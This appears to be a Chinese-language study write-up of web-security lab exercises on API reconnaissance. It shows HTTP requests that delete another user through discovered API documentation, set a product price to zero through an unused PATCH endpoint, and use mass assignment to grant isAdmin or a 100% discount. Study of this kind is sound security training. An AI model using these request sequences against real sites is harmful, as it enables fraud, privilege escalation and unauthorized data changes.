API測試很重要,因為API中的漏洞可能會破壞網站的機密性、完整性和可用性的核心面向。要開始API測試,需要API recon以盡可能多地查找有關API的信息,以發現其攻擊面。常見思路如下:
- 尋找機密API文檔
- 尋找並利用未使用的 API 端點
- 尋找隱藏參數
尋找機密API文檔
開發人員通常會記錄 API,以了解使用和整合方式。 如果是提供給外部開發人員使用時,API文件通常對外公開,所以要查看這件文件找可利用的方式。如果 API 文件不公開,可以透過一些方法或工具去尋找,工具可參考burpsuite的RouteVulScan或JS Link Finder,手動1方法舉例如下。
1 以wiener帳戶登入時更新email,使用以下patch請求
PATCH /api/user/wiener
改為/api/user/返回錯誤訊息
############# Request #############
PATCH /api/user/
############# resposne #############
"error":"Malformed URL: expecting an identifier"
改為/api/出現302跳轉
############# Request #############
PATCH /api/
############# resposne #############
HTTP/2 302 Found
2 訪問/api/目錄,發現API文檔顯示以下資訊,並屒示如何刪除user
- GET /user{username:String}
- DELETE /user{username:String}
- PATCH /user{username:String} {“email”,String}
3.根據API文檔刪除其他人成功
############# Request #############
DELETE /api/user/carlos
############# resposne #############
"status":"User deleted"
Lab: Exploiting an API endpoint using documentation
尋找並利用未使用的 API 端點
使用瀏覽器手動調查含api的網址或查看 JavaScript 檔案。也可用工具Burp Scanner或JS Link Finder等工具協助尋找可能的API網址。一旦找到可能是API的網址,就根據以下兩步驟做測試
步驟1.識別支援的HTTP方法
HTTP方法指定要對資源執行的動作。例如:
GET
– 從資源中檢索資料。PATCH
– 對資源套用部分變更。OPTIONS
– 檢索有關可在資源上使用的請求方法類型的資訊。
API端點可以支援不同的HTTP方法。因此,在調查 API 端點時測試所有潛在方法非常重要。這可能使您能夠識別其他端點功能,從而打開更多的攻擊面。
例如,端點/api/tasks
可能支援以下方法:
GET /api/tasks
– 檢索任務清單。POST /api/tasks
– 建立一個新任務。DELETE /api/tasks/1
– 刪除任務。
步驟2.識別支援的內容類型
API端點通常需要特定格式的資料。因此,它們的行為可能會有所不同,具體取決於請求中提供的資料的內容類型。更改內容類型常可得到以下結果:
- 觸發洩漏有用資訊的錯誤。
- 繞過有缺陷的防禦。
- 發現處理邏輯差異造成的漏洞。例如,API 在處理 JSON 資料時可能是安全的,但在處理 XML 時容易受到注入攻擊。
舉例如下
假設在一網站發現查詢商品1價格的請求,將方法改為OPTIONS做測試,返回方法只有GET和PATCH可用
############# request #############
OPTIONS /api/products/1/price
############# response #############
HTTP/2 405 Method Not Allowed
Allow: GET, PATCH
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
"Method Not Allowed"
使用PATCH發現請求,返回尚未登入
############# request #############
PATCH /api/products/1/price
############# response #############
HTTP/2 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14
"Unauthorized"
登入後在發送請求,返回Content-Type格式不對
############# request #############
PATCH /api/products/1/price
############# response #############
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 93
{"type":"ClientError","code":400,"error":"Only 'application/json' Content-Type is supported"}
調整成JSON格式發送請求,返回缺少price參數
############# request #############
PATCH /api/products/1/price HTTP/2
...omit...
Content-Type: application/json
{}
############# response #############
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 77
{"type":"ClientError","code":400,"error":"'price' parameter missing in body"}
增加price參數發送請求,成功將產品1的價格變為0元
############# request #############
PATCH /api/products/1/price HTTP/2
...omit...
Content-Type: application/json
{"price":0}
############# response #############
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17
{"price":"$0.00"}
Lab: Finding and exploiting an unused API endpoint
尋找隱藏參數
當軟體框架自動將請求參數綁定到內部物件上的欄位時,就可能發生Mass Assignment(批次分配),也稱為自動綁定,這可能會無意中建立隱藏參數。在進行API偵察時,可能會發現這些隱藏參數,可以嘗試使用它們來更改應用程式的行為。尋找隱藏參數常用的工具如下:
- burpsuite的Param miner插件:能自動猜測每個請求最多 65,536 個參數名稱。參數挖掘器根據從範圍中獲取的資訊自動猜測與應用程式相關的名稱。
- burpsuite的content discovery工具:可協助發現之前瀏覽到一些可見內容連結與參數等。
例如
以下請求使用戶能夠更新其使用者名稱和電子郵件
PATCH /api/users/
...omit...
{ "username": "wiener", "email": "wiener@example.com"}
但如果改為GET方法並增加ID變成以下請求,會返回其他隱藏參數
############# request #############
GET /api/users/123
...omit...
{ "username": "wiener", "email": "wiener@example.com", }
############# response #############
{
"id": 123,
"name": "John Doe",
"email": "john@example.com",
"isAdmin": "false"
}
這可能表示隱藏的id
和isAdmin
參數與更新的使用者名稱和電子郵件參數一起綁定到內部使用者物件。
接著就可以嘗試加入隱藏參數如下,測試是否能提權
PATCH /api/users/
...omit...
{ "username": "wiener","email": "wiener@example.com","isAdmin": true}
另一個例子如下
when you buy product and checkout, request as below
購買商品1時會送出以下請求,當錢不夠時會重導向到/cart?err=INSUFFICIENT_FUNDS
############# request #############
POST /api/checkout HTTP/2
...omit...
{"chosen_products":[{"product_id":"1","quantity":1}]}
############# response #############
HTTP/2 201 Created
Location: /cart?err=INSUFFICIENT_FUNDS
X-Frame-Options: SAMEORIGIN
Content-Length: 0
嘗試使用不同的方法對同一個網址請求時,發現GET方法會返回參數的用法說明
############# request #############
GET /api/checkout HTTP/2
############# response #############
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153
{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \\\\"l33t\\\\" Leather Jacket","quantity":1,"item_price":133700}]}
you can found chosen_discount parameter, try to modify it to buy product so add “chosen_discount”:{“percentage”:100} to post /api/checkout
根據說明將參數chosen_discount改為100,就能讓商品1用0元購買
############# request #############
POST /api/checkout HTTP/2
...omit...
{
"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","quantity":1}]}
############# response #############
HTTP/2 201 Created
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Lab: Exploiting a mass assignment vulnerability
refer